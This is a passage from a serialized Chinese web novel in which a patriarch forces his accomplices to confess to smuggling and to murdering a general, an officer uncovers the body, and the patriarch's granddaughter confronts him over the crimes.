那是他成年时,家族为他备下的“新房”,地段、环境、规格皆是顶尖,寓意着他成家立业的开始。 以往他回北湾,十有八九都宿在那里。 周宴珩沉默了片刻,声音莫名冷了几分:“不回。” 助理不敢再问,小心翼翼发动了引擎。 ………… 第968章 壁虎断尾 青市。 “砰”地一声巨响,房门被带着急切的风声猛地推开。 “阿珊!你快看这个!” 苏妙攥着手机,脸上是罕见的惊慌,直接冲进卧室。 周绮珊正站在衣帽间中央,手里拿着一件深色外套,闻声转过头,脸上没什么表情,只有眉眼间一丝挥之不去的冷沉。 苏妙霎时愣住了:“你……你要出去?” 周绮珊点头,语调嘶哑:“我准备去云乡。” “云乡?!”苏妙的瞳孔几不可察地收缩了一下,“不行!” 她一把拽过周绮珊,递上手机,“衫衫出事了!你这个时候不能去云乡。” 周绮珊目光落在苏妙递过来的手机屏幕上,沉默片刻,什么话都没有说,低头拉上防风衣的拉链,一把甩开了苏妙的手。 苏妙明显察觉到周绮珊的不对劲,脑海中不禁又想起姜花衫的叮嘱。 她来不及多想,上前拦住周绮珊:“阿珊,你怎么了?” 周绮珊不知道该怎么跟苏妙说,低着头回避她的目光。 “我……现在不想说。” 她的声音低而涩,带着一种抗拒的决绝。 说罢不再看苏妙,猛地甩开胳膊上的手,力道之大让苏妙踉跄了一下。 “周绮珊!!!” 苏妙稳住身形,虽然又急又气,但更多的还是担忧。 她了解周绮珊,要不是天大的事,她绝不会这么反常。偏偏姜花衫现在又失踪了,她连个商量的人都没有。 眼看周绮珊的手已经握住了大门把手,苏妙一咬牙,冲上去:“你等等!至少让我陪着……” “咔哒。” 门被周绮珊从里面拉开。 走廊明亮的光线涌入门内,也照亮了门外静静站着的人影。 周绮珊的脚步生生顿住,握着门把手的手指骤然收紧,她脸上的冷沉和决绝瞬间被一层猝不及防的错愕覆盖。 门外站着的不是别人,正是跟随周国潮几十年的老管家。 周管家穿着一丝不苟的深色西装,身姿笔挺地立在门口,恭敬有礼:“老天保佑,总算找到了!小姐,您可让老爷子担心坏了,快跟我回去吧。” 周家人怎么会找上门? 苏妙脸色微变,从身后拉住周绮珊:“你不能跟他们走。” 周管家脸上的神色严肃了几分,对着周绮珊微微颔首:“小姐,老爷子还等着您回家团聚,您可千万别因为几个外人,寒了老爷子的心。” 话落,周管家身后忽然涌出一群黑衣保镖。 苏妙见状,正要上前,却被周绮珊拽了回去。 “我跟你们回去见爷爷。” * 与此同时。 云乡,商会大楼顶层会议室。 雪茄烟雾袅袅,所有人都笼罩在沉重的白雾里,僵滞的气氛压得人几乎喘不过气。 “会长!这可怎么办?眼下313师直接入驻云乡,只怕纸包不住火,要是再不想办法,咱们就都要完了!” 陈明生眉头紧锁,眼底布满红丝,早没了平日的八面玲珑。 他不能看着大伙儿自乱阵脚,只能违心安抚:“都别那么丧气!天塌下来不是还有周家顶着吗?大家都把嘴闭严实了,等上面的消息来了,就知道该怎么办!” “会长!大事不好了!会长!” 突然,会议室的门被猛地撞开,助理跌跌撞撞冲了进来。 陈明生心头猛地一沉,一股不祥的预感像冰水一样浇透全身,但他还是强撑着厉声喝道:“喊什么?还有没有规矩了?” 助理却像是根本没听见,直冲到陈明生面前,因为极度惊恐而语无伦次:“不……不好了会长!刚……刚得到的消息!313师……他们……他们直接派人接管了市警署厅!赵……赵厅长,还有好几个副局长、大队长……全……全被带走了!” “什么!!!” 陈明生只觉得脑子像是被重锤狠狠砸中,耳畔响起一阵尖锐的鸣音,眼前瞬间发黑,身体不受控制地晃了晃,下意识伸手死死撑住了桌沿,才没当场瘫倒。 会议室里死寂了一瞬,随即“轰”地一声,众人压抑的恐慌如同决堤的洪水,一发不可收拾。 “完了!全完了!警署厅一直是我们在前面的领路人,多少事都是他们给兜着办的!现在连他们都……” “我就知道!我就知道要出大事!313师可不是软柿子,指挥官还是沈家那位太子爷,完了!咱们要完了!” “陈会长!你刚才还说天塌了有周家顶!周家呢?周家现在人在哪儿?!我们怎么办?!” 陈明生撑在桌沿的手指关节捏得发白,手背上青筋暴起。 路迦的事,云乡码头那些见不得光的走私,还有地下钱庄的流水…… 桩桩件件,都是靠着云乡警署厅洗白的,现如今这个部门被整锅端了,下一把火,烧的就是云乡商会了。 陈明生只觉得一股寒气从脚底板直冲天灵盖,四肢百骸都冰凉彻骨。 他猛地抬头,充血的眼睛扫过乱成一团的会议室,嘶声吼道:“都给我闭嘴!” 声音沙哑撕裂,带着穷途末路的疯狂,竟然暂时压住了混乱。 “慌什么?!自乱阵脚死得更快!”陈明生死死咬着后槽牙,从牙缝里挤出字来,“313师抓人也要讲证据,我们……我们都是正经商人,合法经营,怕什么调查?!” 这话说出来,连他自己都不信。他之所以咬紧牙关,就是不相信周家会这么认输。 云乡这么大的盘子,要真没了,周家也会伤筋动骨。 现在死无对证,他们不认罪,就还有一线生机。 “铃——铃——铃——” 就在这时,陈明生口袋里的私人手机突兀地震动起来。 陈明生浑身一激灵,几乎是颤抖着手掏出了手机。屏幕上跳动的名字,让他濒死的心脏骤然又注入一剂强心针。 他举起手机,向众人展示:“是周家!老爷子来消息了!” 众人情绪忽然高涨,满脸期待地看着陈明生。 陈明生在万众期待下按下接听键,像抓住最后一根救命稻草般将手机贴到耳边,声音因激动而发颤:“管家!周管家!您可算来电话了!云乡这边出大事了!313师他们……” “陈会长。”电话那头,周管家的声音一如既往的平稳、恭敬,甚至带着惯有的温和。 他直接打断了陈明生语无伦次的汇报,“老爷已经知道云乡的情况了。” 陈明生一愣,随即狂喜:“老爷知道了?那……那老爷有什么指示?需要我们怎么做?周家是不是有办法……” 他追问得迫切,仿佛抓住了一线光亮。 电话那头沉默了一瞬。 这短暂的沉默让陈明生心头刚刚升起的希望骤然冷却,不祥的预感再次蔓延。 下一秒,他听见周管家用陈述事实的语调,清晰地说道: “老爷的意思是,云乡的事情,到此为止。” “大家可以……认罪了。” …… 第969章 大厦将倾 认……罪? 陈明生浑身剧烈一震,脸上的狂喜瞬间僵住。 他以为自己听错了,下意识追问:“……周……周管家,你刚刚说什么?” 周管家的声音依旧平稳无波,甚至透着一种事不关己的从容:“主动坦白,或许还能争取宽大处理。这是老爷能为云乡诸位争取到的最好出路。” “出路?!这算什么出路?!” 陈明生几乎要对着话筒咆哮,又猛地压低声音,牙关都在打颤,“周管家!这些年,我们为周家做了多少事?那些账目、那些关系……哪一桩哪一件不是绑在一起的!现在让我们认罪?这岂不是要把我们全都推出去送死?!” 电话那头传来一声几不可闻的叹息,仿佛在怜悯他的天真。 “陈会长,话不能这么说。老爷自然念着各位的辛苦。” 周管家的语调微妙地沉了沉,像是闲聊般提起,“否则,以令公子的资历,怎么能在S国学业有成?还有您夫人的心脏手术,不也是靠着周家才有了转机?人呐,不能总只盯着自己付出了什么,不想想自己得到了什么。陈会长,你说是不是啊?” 每一个字都像淬了冰的针,精准地扎进陈明生的命门。 他握着手机的手指瞬间冰冷僵硬,血液仿佛在这一刻倒流。 周家这不是在提醒,而是在警告。 不仅仅是他,警署厅那班人,还有商会上下,他们所有人依靠周家鸡犬升天,全家性命早已在周家的掌控之下。 认罪,伏的是一人之躯;但要是不认,那就是全部身家。 原来,周家早就有了盘算。他们这些人,早就被驯化成了乖乖听话且随时可以舍弃的……棋子。 “陈会长是个聪明人,接下来该怎么做,应该不用我提醒了吧?” 周管家的声音再度传来,温和依旧,却字字诛心,“老爷子说了,祸不及家人。只要云乡的事顺利解决,诸位的家人依旧会得到最好的照顾。但要是诸位还有别的心思……” 后面的话没有说下去,但那沉默比任何威胁都更令人窒息。 陈明生张了张嘴,喉咙里却发不出任何声音,只有粗重而绝望的喘息。 他眼中的光芒彻底熄灭了,只剩下一片死灰。 “……我……明白了。” 这声音像破旧风箱发出的最后哀鸣。 周管家似乎很满意:“那就辛苦诸位了。” “嘟——嘟——嘟——” 忙音传来,冰冷而决绝。 陈明生缓缓放下手机,手臂沉重得仿佛不属于自己。 他转过头,看向会议室。 众人一脸希冀: “怎么样,周家怎么说?老爷子让我们怎么做?” “我们是不是有救了?” “老爷子是不是有办法了?唉哟!陈会长!你倒是快说啊!急死了!” 催促声此起彼伏,在短暂的死寂后显得格外嘈杂刺耳。 陈明生站在长桌尽头,布满血丝的眼睛缓缓扫过每一张脸。 那目光里,没有了惯有的精明强干,也没有了强撑的镇定,只剩下一种深不见底的……死寂。 他抬头,看着会议室里高挂的云乡商会的牌匾,轻轻扯动嘴角: “诸位……为了家里的老小,都认了吧。” 瞬间,会议室里一片死寂。 * 云乡政府大楼。 窗外夜色如墨,吞噬着云乡的轮廓,只有零星的灯光在黑暗中挣扎。 “叩叩——” “进。” 房间里,沈兰晞坐在办公桌前,桌上陈列的初步供词让他眉宇间凝起一层寒霜。 副官推门而入,步履比平日略显急促,脸上带着一丝不易察觉的凝重:“长官,特请组那边传来消息,云乡商会的人以会长陈明生为首,刚刚……集体到特请组驻地自首了。他们主动交代了与警署厅勾结、参与码头走私、操纵地下钱庄等多项罪行,目前案件正在紧急审理。” “自首?”沈兰晞眼睑微压。 几个小时前,警署厅被连根拔起,商会这群人本该如热锅上的蚂蚁,正该负隅顽抗或四处求援的时候。 如此干脆利落、近乎整齐划一的“自首”,不像是幡然醒悟,倒更像是……接到了某种必须执行的指令。 沈兰晞合上手中的卷宗,站起身。 “去审讯室。” 特情组驻地审讯室外的走廊,光线冷白,照得墙壁一片肃然。 沈兰晞没有直接进入审讯室,而是先到了隔壁的观察间。 单向玻璃后,陈明生独自坐在审讯椅上,目光呆滞,对审讯员的问题回答得机械而详尽,仿佛一具被抽空了灵魂的躯壳,只是在执行早已设定的程序。 不止陈明生,其他几个房间里的商会核心成员,状态大同小异。没有激烈的抗辩,没有狡猾的周旋,出奇地“配合”。 “沈上尉。” 原本正在主审陈明生的审讯员见沈兰晞到来,神情一凛,立刻起身进入观察室,主动将手中的笔录双手递上:“您看看。” 沈兰晞的军衔虽不高,但他是A国最年轻的上尉,又是313师主力,这份荣耀,即便特请组主司在场也得礼让三分。 沈兰晞接过那份笔录,迅速扫过几页。 口供条理清晰,罪状罗列分明,甚至主动补充了一些尚未被完全掌握的细节。 这份完美的“认罪书”,目的明确——将云乡的罪责彻底坐实,也彻底圈定在云乡之内。 沈兰晞合上笔录,目光重新落回陈明生身上。 常规的审讯流程,面对这样一个已经“缴械”的人,恐怕问不出什么更深层的东西了。 沉吟片刻,沈兰晞将笔录递还给一旁的审讯员。 “我进去看看。” “是。”审讯员愣了愣,立马上前替沈兰晞开门。 陈明生似乎被开门的动静惊动,眼珠迟缓地转动了一下,看向门口。 当看清来人肩章与面容时,他那双死水般的眼睛里,几不可察地掠过一丝畏惧。 沈兰晞拉开椅子,坐下的动作不疾不徐。 他没有立刻翻看桌上的任何文件,只是平静地看向对方。那目光里没有一丝情绪,却莫名给人一种风雪压境的冷冽。 “说了那么多,有一点你还没有交代。” 沈兰晞开口,声音不大,却字字清晰: “路迦在哪?” …… 第970章 回家 陈明生瞳孔骤然紧缩,脸上最后一点血色也消失殆尽,嘴唇不受控制地哆嗦起来。 沈兰晞将他的反应尽收眼底,眉头微蹙,眼里泛起寒光。 陈明生的反应不太妙。 他微微向前倾身,双手交叠放在桌面上,姿态并不具有攻击性,却带来更强的压迫感。 “云乡警署厅的案卷里写得清楚,几天前码头仓库纵火案,主犯锁定了一名嫌疑男子,商会和当地警力‘协同办案’,全力追捕,声势浩大。” “313师档案局已经核实过了,你们缉拿的那名‘纵火犯’,正是313师的一星上将。警署厅方的口供表示,这起案件是商会联名报案,嫌疑人的画像也来自商会目击者的供述。陈明生……你现在需要解释清楚,为什么一位功勋卓著的上将,到了你们云乡,就变成了一名穷凶极恶、需要全城通缉的纵火犯?” 审讯室内的空气仿佛被瞬间抽空。 陈明生额头上的冷汗汇成大滴,沿着灰败的脸颊滚落。他放在腿上的双手死死攥成拳头,指节捏得发白,却止不住细微的颤抖。 路迦的事,认下就是死刑;可要是不认…… 陈明生咬了咬牙,猛地抬起头,眼底布满血丝,带着一种豁出去的疯狂:“是……是我干的!” 他像是怕自己后悔,语速极快道: “路……路迦他……他不知怎么潜入了云乡,和暗线联合,拿走了商会和警署厅多年来勾结走私、祸害地方的账本和关键证据!他知道了太多!我们……我们怕事情败露,干脆一不做二不休,趁他在码头仓库追查一批货时,放了那把火,想把人和证据一起烧掉!没想到他命大逃了出来……我们只能先下手为强,联合警署厅,给他安上纵火犯的罪名,全城搜捕,为的就是能光明正大……杀他灭口!” “荒唐!无耻之尤!” “畜生!禽兽不如的狗东西!!” 观察室内,所有旁听的内部人员脸上纷纷露出难以抑制的愤怒。 一位为国征战的上将,竟被这些地方蠹虫如此污蔑构陷,甚至意图杀害,这已超出了他们对地方腐败的想象,上升到了令人发指的程度。 沈兰晞的脸上却没有任何波澜,等陈明生粗重的喘息在室内稍稍平复后,才用一种近乎平直的语调继续追问:“那么,路迦上将,现在人在哪里?” “陈明生,元勋军将不可辱。你最好想清楚,否则,不单单是你,你一家老小、全族上下,都将成为A国的罪人。” 陈明生脸上的疯狂骤然凝固,像是被一只无形的手掐住了脖子。 刚刚好不容易鼓起的那点气焰,在这简简单单的一句追问下,瞬间漏得干干净净。 他颓然失力,嘴角颤抖:“在……在荒郊。” * 夜幕如铁,沉沉压在云乡荒郊之上。 远近无光,唯有这片被数十辆军车围出的区域,亮如白昼。 数百支强光探照灯笔直地钉在地上,光束交错,切割着浓稠的黑暗,将中心那座低矮土丘照得纤毫毕现,无所遁形。 土丘旁,新翻的泥土湿润深暗,与周围枯黄板结的荒地形成刺目的对比。 沈兰晞站在土丘前几步远的位置,黑色的常服被冷风吹得紧贴身躯,勾勒出笔直而孤峭的线条。 他脸上没有任何表情,只是静静地看着那抔新土,眼神深寂,映着刺目的灯光,却仿佛比周围的夜色更沉。 几名检察官和身着白色防护服的法医结束了初步工作,退开几步,肃立一旁。 现场静得只剩下荒原上永不止息的风声,以及远处军车引擎低沉的怠速嗡鸣。 “长官。”头发花白的首席检察官脚步沉重地走到沈兰晞身侧。 他手里拿着一份刚刚记录的简易报告,深深吸了一口寒冽的空气,仿佛需要借此压住胸腔里翻腾的惊涛骇浪。 沈兰晞微微侧过头。 检察官抬起通红的眼睛,那眼神里混杂着巨大的悲愤与屈辱。 “经现场初步查验,土丘下掩埋的遗体……确系路迦上将。” 老者停顿了一下,喉结剧烈滚动,声音里的颤音再也无法抑制:“……遗体有多处……致命性创伤,死于重击。” 短短两句话,像淬了冰的楔子,狠狠钉入在场每一个人的耳中与心里。 话音落下,一股无形却磅礴的悲怒之气,骤然从肃立的官兵队伍中升腾而起。无数道目光,如同烧红的烙铁,聚焦在那座卑微的土丘上。 他们不是“上将”,但未来都有可能是“上将”。他们的荣耀是将血抛洒战场,而不是被蠹虫蚕食。 沈兰晞脸上依旧没有明显的波澜,但那双映着雪亮灯光的眼眸,瞳孔深处某种情绪正在凝结、碎裂。 他缓缓转回头,重新看向那片新土。 片刻的沉默后,字句如刃:“军旗开道,送上将回家!” * 鲸港,大寒,骤降鹅毛大雪。 周家老宅气势恢宏的雕花铁门在雪幕中缓缓开启,又沉重合拢,将门外的严寒与寂静一并锁入院内。 周绮珊从黑色轿车中走下,细密的雪粒瞬间沾湿了她的发梢与肩头。 她缓缓抬眸。 正厅灯火通明,厚重的红木门敞开着,暖黄的光晕流淌出来,与院中的雪色形成鲜明对比。 周绮珊迈过门槛。 厅内瞬间安静了一瞬,所有的目光都汇聚过来。 周元正坐在主位左下首,一如既往地面容严肃。 二伯周元白一脸错愕地打量着周绮珊,眼神复杂难辨。 周元义和徐文佩则坐在稍远些的侧位。徐文佩眼圈瞬间红了,嘴唇翕动,似乎想立刻起身,却被周元义重重按了回去。 “小姐。”周管家上前,微微躬身,姿态恭敬,却带着不容置喙的意味。 “老爷子在书房,请您现在就过去。” …… 第971章 权力者与蝼蚁 书房墨绿色的丝绒窗帘垂落,遮住了窗外纷扬的大雪。一盏黄铜底座的古董台灯,在宽大的红木书桌上投下一圈昏黄静谧的光晕。 周国潮静静坐在书桌后那张高背扶手椅里,双手交叠置于身前,目光落在虚空中的某一点。 灯影在他深刻的皱纹间投下明暗,让这位老家主看起来多了几分沉暮的孤寂。 听到推门的动静,他缓缓转过视线。 周绮珊在书桌前几步外站定,微微垂首,叫了一声:“爷爷。” 周国潮的目光定格在她身上。 到现在他还记得周绮珊离家前,声泪俱下请她成全的画面。 当周绮珊的死讯传来,他不止一次懊悔没有当初狠下心拦住她。 可眼下,周绮珊真的活着站在自己面前时,原本的欣喜却因为一道阻隔的天堑无法纯粹。 半晌,周国潮轻轻吁出一口气,“回来了。坐吧。” 他的声音比平日显得低哑一些,却依旧保持着惯有的平稳。 周绮珊依言,在书桌对面的椅子上坐下,脊背挺直,双手放在膝上,是一贯的军人姿态。 周国潮看着她这副样子,眼底深处掠过一丝审慎。 “云乡的事情,我都听说了。你有什么要说的吗?” 周绮珊抬眼,看向自己的祖父,没有躲闪,也没有刻意讨好。 她眼神平静得像一汪深潭:“爷爷,云乡背后的主谋是您吗?” “是。”周国潮答得爽快。 周绮珊指尖收拢陷入掌心,借着那点锐痛维持着面上的平静。 “为什么?”周绮珊的声音有些发紧,看向周国潮的眼里一片茫然,“周家已经是A国顶级豪族,名利、权势什么都有了!为什么……” 周国潮将她的反应尽收眼底。 这个孙女,从她执意褪下裙钗换上军装的那一刻起,他就知道她骨子里流的血,既有周家的果决,也有某种他所无法完全掌控的正直。 路迦的证据在她手里,任何的粉饰、推诿,在她面前都显得苍白可笑。 所以与其徒劳地编织谎言,不如将最核心的筹码摊开。 “因为不够!” 周国潮微微向后靠进高背椅,双手重新交叠,姿态恢复了惯有的掌控感。 周绮珊微愣。 不等她反应,周国潮字字铿锵:“周家不是几个人,几栋房子。它是鲸港百年望族的招牌,是上下几百口人的衣食所系,是盘根错节的关系网,是沉浮商海立足政经的根本!它是一艘大船,从你太祖爷爷那辈开始扬帆,历经风雨,才有今日的规模。” “这样一艘船,行在海上,看似风光,实则暗流汹涌。四面八方,有多少眼睛盯着?有多少人想分一杯羹,又有多少人想取而代之?权势的风向,名利的波动,对手的算计……稍有不慎,便是船毁人亡,百年基业,顷刻间化为乌有。” 周国潮的目光转回周绮珊脸上,那眼神锐利如刀,剖开温情脉脉的家庭表象,露出内里冰冷残酷的生存法则。 “路迦,他是个军人,是个英雄,这没错。但他踩过界了。他查的不是普通的走私,不是简单的贪腐,他查的是维系这艘大船航行必要的脉络。” “你以为,周家这些年能稳坐钓鱼台,靠的是什么?仅仅是奉公守法、诚信经营?” “阿珊,你太天真了。这个世界,尤其是我们所在的位置,光与影从来都是并存的。你以为的规则是权利者制定的游戏,奉行者都是蝼蚁!你以为我是为了自己?我汲汲营营这一生,不过是为了保护你、还有族中所有的孩子成为权利者而非蝼蚁!” “所以……”周绮珊咬牙,声音哽咽,“为了家族的生存空间,为了这艘大船不沉,您就可以无视国法,构陷忠良,甚至……杀人灭口?” 周国潮稍稍前倾,灯光在他脸上投下更深的阴影。 “斩杀一名上将是一条命,但我要是不杀他,船上这几百口人怎么办?依附周家生存的更多的人怎么办?百年声誉毁于一旦,子孙后代何以立足?绮珊,当你坐在这个位置,你要考虑的,从来不是一个人的对错,一个案件的真相,而是整个家族的存续,是无数人的身家性命。” 周绮珊只觉得胸腔里堵着一块寒冰,连呼吸都带着刺痛。 她看着祖父苍老而威严的面容,第一次如此清晰地意识到,横亘在她和周家之间的,不仅仅是理念的不同,更是截然相反的世界观。 “该说的都已经说了,不该说的也都说了。”周国潮平复心情,缓缓道:“现在,你都知道了。证据在你手里。你打算怎么做?” “……” 时间在死寂中缓缓流逝。 良久,周绮珊放在膝上的手缓缓松开指尖。最终,她有了反应,慢慢伸向外套内侧的口袋。 周国潮的目光紧紧跟随着她的动作,那双苍老但依旧锐利的眼睛,一瞬不瞬。 周绮珊将手机轻轻放在光滑的红木桌面上,推向周国潮的方向。 “这是您要的东西。”她的声音很轻。 周国潮那口一直堵在胸口的郁气终于得到了释放。 “好。”他终于卸下重担,声音比刚才更哑,却温和了许多,“这就好。” 周国潮伸出手,忽然想到什么,手指在空中微微停顿了一下。 周绮珊一眼看出他的顾虑,平静道:“您放心,事关重大我不敢相信任何人,所以只有这一份原件。” 他的目光在周绮珊脸上停留,没察觉出什么异样,这才拿过手机,状似随意地继续问道:“你和苏妙……” 周绮珊眸光微沉,直面周国潮:“我原本是担心长官出问题,想让她利用苏家小姐的身份去云乡看看情况。但我们还没到云乡,周管家就来了。她什么都不知道。” 这个解释合情合理。周绮珊身份敏感,直接去云乡风险太大,借助苏妙这位苏家千金的身份的确可以作为掩护。 周国潮静静地听着,手指在手机光滑的背壳上轻轻敲击。 他在权衡。 周绮珊眼神冷冽了几分,“爷爷,请不要一再挑衅我的底线。” 周国潮的眼底深处掠过一丝精光,周绮珊连家人都没有求助,一开始就想着苏妙,说明她对这个朋友很看重。 念此,周国潮摆摆手,“既然回来了,就好好陪陪你母亲,你不在的这段时间,她可不好受。” “知道了。” 周绮珊明白,此刻已经是她争取到的最好局面。 她缓缓站起身,再次欠身:“爷爷。那我先出去了。” 倏尔,她想到什么,折身回来:“爷爷,听说313师已经入驻云乡,我的身份会不会被暴露?” 想起这事,周国潮眉宇间难掩疲惫,但他不想在小辈面前展露,安抚道:“放心,这件事我会妥善处理。” 周绮珊沉默片刻,再次开口:“爷爷,您不是说要守护我的荣耀吗?我不能是逃兵,这是我要的荣耀。如果家族不能给予,我将永远无法信奉。” …… 第972章 柔弱的力量 周绮珊拉开门,一片雪花飘进廊庑落在她的肩头。她没有掸去,轻轻带上门。 周管家不知何时已静立在走廊一侧的阴影里,仿佛从未离开。 见她出来,他微微躬身,声音是一贯的平稳恭敬:“小姐,您的房间一直都留着,按照您的习惯每日打扫,一应用品也都备着新的。老爷子……一直等着您回来。” “谢谢周管家。”周绮珊面色平静地道谢,声音里听不出太多情绪。 她的房间在小楼,这么多年一直想着回家,可真的回了才发现,家早已不是记忆中的模样。 廊灯柔和的光线下,一个女人正静静地站在她的房门外。 女人穿着一身质地精良但款式保守的素色旗袍,外面罩了件薄薄的羊绒披肩,身形有些单薄。 显然,她已经在这里站了不短的时间,脸上冻得通红,呵出的气息在灯光下凝成白雾。 是徐文佩,她的母亲。 听到脚步声,徐文佩猛地转过头来。 当看清是周绮珊时,她眼里瞬间迸发出巨大的惊喜,随即又被汹涌而来的泪水模糊。 徐文佩下意识上前一步,看见周绮珊身后的管家,却像被无形的绳索捆住了手脚,猛地停住。 周管家会意,点了点头,转身离开。 周绮珊的心脏像是被什么东西狠狠拧了一下,酸涩的痛楚瞬间蔓延开来。 她的母亲还是这样软弱,嫁过来几十年仍需看一个管家的脸色。 但看着母亲捂嘴哭泣,想靠近又不敢的样子,她又生不出半点苛责。 她正是因为见惯了母亲的软弱,才生出了男儿的志向。 周绮珊在原地停顿了几秒,终究还是迈开脚步。她的步伐不算快,却带着一种军人特有的稳定。 她在徐文佩面前站定,许久,才轻声开口:“这里风大,您回去吧。” 说罢,便没有再看徐文佩一眼,垂着眼帘越过她。 徐文佩捂着嘴,想说话,但开口就是抽泣的哽咽声。她连忙止住,小心翼翼地跟在了周绮珊身后。 周绮珊对这种无意义的跟随感到厌倦。她理解母亲的软弱,却无法共情,所以不想搭理,只想逃离。可她脚步越快,徐文佩就跟得越紧。 这种摆脱不掉的依附感,让周绮珊喘不过气。 终于到了自己房门前,她没有丝毫犹豫,伸手握住冰凉的门把手,拧开,侧身闪入,随即手臂用力,就要将门重重带上。 “砰——!” 门扇合拢的闷响并未完全发出,取而代之的是一声短促而压抑的痛呼,和木门撞上硬物的沉闷阻滞感。 周绮珊动作僵住。 透过尚未完全闭合的门缝,她看见一只苍白瘦削的手正死死卡在门框与门板之间。 那只手因用力而颤抖着,手背上淡青色的血管和骨节清晰凸起,指甲边缘因瞬间的挤压泛出不正常的白,随即迅速充血变红。 门板的边缘,正死死抵在那手腕最脆弱的部位。 是母亲的手。 周绮珊的心猛地一沉,几乎是本能地松开了推门的力道。 可这“退让”让她感觉自己罪该万死。 或许是在徐文佩面前,她终是没能守住崩裂的心弦,身体缓缓瘫软下去,无声哭泣:“你到底想做什么?你真的看不见吗?我的脊梁没有了!我不想像你一样活着,我不想……” “阿珊……”徐文佩见女儿哭了,声音嘶哑得厉害。 她跟着跪倒在地,用那只满是淤青的手颤抖着牵起周绮珊的手。 周绮珊目光微僵,涕零不止的泪水忽然悬停。 她低头看向掌心,横在她和母亲之间的,还有一张小小的纸条。 徐文佩轻轻推了推她的掌心,哆嗦着指尖,替她擦去脸上的泪痕。 “阿珊,妈妈的好孩子。” 母亲的眼中泪水依旧不止,两鬓斑白,但看向她的目光里,满含无声的哀求。 “徐文佩!死哪儿去了?!赶紧出来!” 忽然,楼下传来一声粗粝而充满不耐烦的怒吼,那声音里带着惯常的命令口吻。 徐文佩浑身剧烈一颤,像受惊的兔子般猛地从地上弹起,脸上的悲戚与那片刻的异样神采瞬间被惊慌取代。 她甚至来不及再多看周绮珊一眼,手忙脚乱地抹了两把脸,试图擦干泪痕,又慌忙将身上旗袍的褶皱抚平。 “来了!就来了!”她朝着楼梯方向急急应了一声,声音努力拔高,却依旧带着未散的哭腔和一丝颤抖。 她转身快步朝楼梯口跑去,忽然想到什么,回头看向门里的周绮珊,示意她快进去。 听见周元义的上楼声,徐文佩赶紧跑下楼。 周绮珊掩上门,拆开手里的纸条,心跳漏了一拍。 -【荣耀就应该握在自己手里,周绮珊,以家族为祭,攀登你的顶峰吧。】 -【姜花衫】 周绮珊眸光震动,起身冲到窗前。 楼下,周元义的指责从未断过:“哭哭哭,一天到晚就知道哭,福气都被你哭没了。” 徐文佩并不在意,唯唯诺诺跟在男人身后。似乎是感觉到什么,她抬起头,与立在窗前的周绮珊四目相对。 片刻后,母亲垂下头,悄悄挺直了腰身。 周绮珊悬在眼眶的泪再次落下。 因为她感觉到被打断的脊梁,好像被谁缝合了。 …… 第973章 爱与不爱很明显 北湾的雪下得比鲸港早,天地素白,积雪没过了脚踝。 榆园外,黑铁大门紧闭。院内常青树的枝叶覆着厚厚的雪絮,往日精致考究的庭院轮廓被这铺天盖地的白模糊,显出一种与世隔绝般的沉寂与冷清。 在鲸港鲜少能看见这样的大雪。沈眠枝一早起来便嚷着要周宴珩带她出去逛逛,但在老宅找了一圈都没找到人,听人说他通常会在榆园,便亲自寻了过来。 不想,竟被拦在了门外。 周助穿着深色制服,外罩御寒的厚大衣,态度虽然恭敬,但依旧改不了阻拦的事实。 寒风卷着雪沫,扑打在两人身上。沈眠枝脸上那点勉强挤出的笑容几乎挂不住,眼底掠过一丝阴翳。 她对周宴珩好脾气,不代表她是软柿子。 “嘀——嘀——” 远处忽然传来汽车引擎低沉的轰鸣,碾过积雪的声音由远及近。 两人同时转头望去。 只见一辆线条冷硬的黑色轿车,如同破开雪幕的利刃,正沿着清扫出的车道平稳而迅疾地驶来。车头那枚低调却彰显身份的徽标,在雪光映衬下泛着冰冷的光泽。 车子没有丝毫减速,径直驶到榆园大门前,才稳稳停住。 引擎声熄灭,车门打开。 一只锃亮的黑色皮鞋率先踏出,踩在洁净无痕的雪地上。随后,周宴珩从车内弯腰出来。 他先是淡淡扫了一眼紧闭的园门,随即才转向门前的周助和沈眠枝。 那双漆黑的眼眸里没有任何情绪,只有一片比北湾冰雪更甚的淡漠与疏离。 “怎么回事?” 沈眠枝见到周宴珩的瞬间,眼睛明显亮了一下。她立刻跑上前拉住周宴珩的胳膊,声音里带上了一丝不易察觉的委屈:“阿珩哥,我想进屋坐坐,你的助理不让。” 周助立马弯腰鞠躬,见周宴珩没什么表示,便转身进了内园。 “诶?”沈眠枝顿时不满,“阿珩哥,你怎么就这么让他走了?你今天必须好好教训他?不然我以后还怎么在周家立足?” “在周家立足?”周宴珩垂眸,冷睨了沈眠枝一眼,扯了扯嘴角,毫不留情抽出自己的胳膊,“沈眠枝,你到底想做什么?” 沈眠枝仿若什么都不知道,一脸认真:“周爷爷不是说让你好好招待我吗?我想去赏雪,原本我是来榆园找你的,可那狗仗人势的东西不准我进。我现在就想进园参观。” 周宴珩:“你要进园?为什么?” 沈眠枝抬了抬头,理直气壮:“什么为什么?我都听别人说了,这是家里给你准备的新房。周沈两家迟早是要联姻的,我进去看看怎么了……” “联姻?” 周宴珩像是听到了什么极其滑稽的笑话,喉咙里溢出一声短促而毫无温度的冷笑。 他微微偏头,漆黑的眼眸里满是嘲弄: “我原本以为,你起码还算是个聪明人。现在看倒是我高估你了,难道看不出我对你没有兴趣吗?” 沈眠枝表情微僵,“我知道……我知道你现在可能还不那么喜欢我,但是感情是可以培养的。放眼整个鲸港,不管是家族地位还是门庭学识,我们才是最配的。” 周宴珩为她的愚蠢感到厌烦。 他伸手,修长的手指近乎轻佻地掠过沈眠枝凌乱的发丝,动作看似暧昧,眼底却是一片冻彻骨髓的冷漠。 “可我偏偏最不看重的,就是门庭和学识。这两样我都有,我不需要重复的东西。我需要的是独一无二的,卑贱也可以,恶毒也可以,有趣就行。以前呢,对你可能还有那么一点逗弄的心思,但现在完全提不起劲了。” 眼看着沈眠枝的脸色逐渐苍白,他眼神怜悯,悬在半空的指尖轻轻勾住她的下巴,像逗弄一只被遗弃的小狗,慢条斯理:“听明白了吗?听明白就滚,别在我面前碍眼。” 沈眠枝眼睑轻颤。这一刻,挖心般的难受也是真的。 晶莹的泪珠毫无预兆地从眼眶中滚落,恰好滴在周宴珩尚未完全收回的指尖上。 周宴珩低头,看着自己指尖那点迅速变得冰凉的水渍,眉头几不可察地蹙起。 又是这样。 被抛弃、被戏弄、被无视,永远只会摆出可怜的姿态乞求,妄想用廉价的眼泪改变凉薄的心,真的蠢得无可救药。 